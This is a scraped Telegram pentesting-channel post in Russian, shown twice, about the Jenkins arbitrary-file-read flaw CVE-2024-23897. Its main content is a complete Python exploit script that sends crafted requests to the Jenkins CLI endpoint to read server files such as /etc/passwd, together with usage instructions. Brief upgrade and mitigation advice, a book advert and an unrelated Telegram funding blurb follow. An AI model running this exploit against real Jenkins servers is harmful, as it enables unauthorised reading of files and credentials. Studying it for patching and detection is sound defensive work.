Telegram Group & Telegram Channel
Jenkins RCE Arbitrary File Read CVE-2024-23897

Критическая уязвимость в Jenkins. Позволяет выполнить RCE на атакуемой машине через уязвимый модуль args4j. Эта функция включена по умолчанию, и в Jenkins 2.441 и более ранних версиях, LTS 2.426.2 и более ранних версиях она не отключается.

PoC
import threading
import http.client
import time
import uuid
import urllib.parse
import sys

if len(sys.argv) != 3:
print('[*] usage: python poc.py http://127.0.0.1:8888/ [/etc/passwd]')
exit()

data_bytes = b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@' + sys.argv[2].encode() + b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05zh_CN\x00\x00\x00\x00\x03'
target = urllib.parse.urlparse(sys.argv[1])
uuid_str = str(uuid.uuid4())

print(f'REQ: {data_bytes}\n')

def req1():
conn = http.client.HTTPConnection(target.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "download"
})
print(f'RESPONSE: {conn.getresponse().read()}')

def req2():
conn = http.client.HTTPConnection(target.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "upload",
"Content-type": "application/octet-stream"
}, body=data_bytes)

t1 = threading.Thread(target=req1)
t2 = threading.Thread(target=req2)

t1.start()
time.sleep(0.1)
t2.start()

t1.join()
t2.join()


Использование:
python poc.py http://127.0.0.1:8888/ [/etc/passwd]


Обновление:
Обновление до Jenkins 2.442, LTS 2.426.3

Исправление:
Если вы не можете обновиться до последней версии, то отключите доступ к CLI, это должно полностью исключить возможность эксплуатации.

Купить книгу по пентесту для начинающих можно тут 📔

👉 Подписаться 👈

#Jenkins #cve #poc
Please open Telegram to view this post
VIEW IN TELEGRAM



tg-me.com/manual_pentesting/1272
Create:
Last Update:

Jenkins RCE Arbitrary File Read CVE-2024-23897

Критическая уязвимость в Jenkins. Позволяет выполнить RCE на атакуемой машине через уязвимый модуль args4j. Эта функция включена по умолчанию, и в Jenkins 2.441 и более ранних версиях, LTS 2.426.2 и более ранних версиях она не отключается.

PoC

import threading
import http.client
import time
import uuid
import urllib.parse
import sys

if len(sys.argv) != 3:
print('[*] usage: python poc.py http://127.0.0.1:8888/ [/etc/passwd]')
exit()

data_bytes = b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@' + sys.argv[2].encode() + b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05zh_CN\x00\x00\x00\x00\x03'
target = urllib.parse.urlparse(sys.argv[1])
uuid_str = str(uuid.uuid4())

print(f'REQ: {data_bytes}\n')

def req1():
conn = http.client.HTTPConnection(target.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "download"
})
print(f'RESPONSE: {conn.getresponse().read()}')

def req2():
conn = http.client.HTTPConnection(target.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "upload",
"Content-type": "application/octet-stream"
}, body=data_bytes)

t1 = threading.Thread(target=req1)
t2 = threading.Thread(target=req2)

t1.start()
time.sleep(0.1)
t2.start()

t1.join()
t2.join()


Использование:
python poc.py http://127.0.0.1:8888/ [/etc/passwd]


Обновление:
Обновление до Jenkins 2.442, LTS 2.426.3

Исправление:
Если вы не можете обновиться до последней версии, то отключите доступ к CLI, это должно полностью исключить возможность эксплуатации.

Купить книгу по пентесту для начинающих можно тут 📔

👉 Подписаться 👈

#Jenkins #cve #poc

BY Security




Share with your friend now:
tg-me.com/manual_pentesting/1272

View MORE
Open in Telegram


Security Telegram | DID YOU KNOW?

Date: |

Telegram hopes to raise $1bn with a convertible bond private placement

The super secure UAE-based Telegram messenger service, developed by Russian-born software icon Pavel Durov, is looking to raise $1bn through a bond placement to a limited number of investors from Russia, Europe, Asia and the Middle East, the Kommersant daily reported citing unnamed sources on February 18, 2021.The issue reportedly comprises exchange bonds that could be converted into equity in the messaging service that is currently 100% owned by Durov and his brother Nikolai.Kommersant reports that the price of the conversion would be at a 10% discount to a potential IPO should it happen within five years.The minimum bond placement is said to be set at $50mn, but could be lowered to $10mn. Five-year bonds could carry an annual coupon of 7-8%.

Security from it


Telegram Security
FROM USA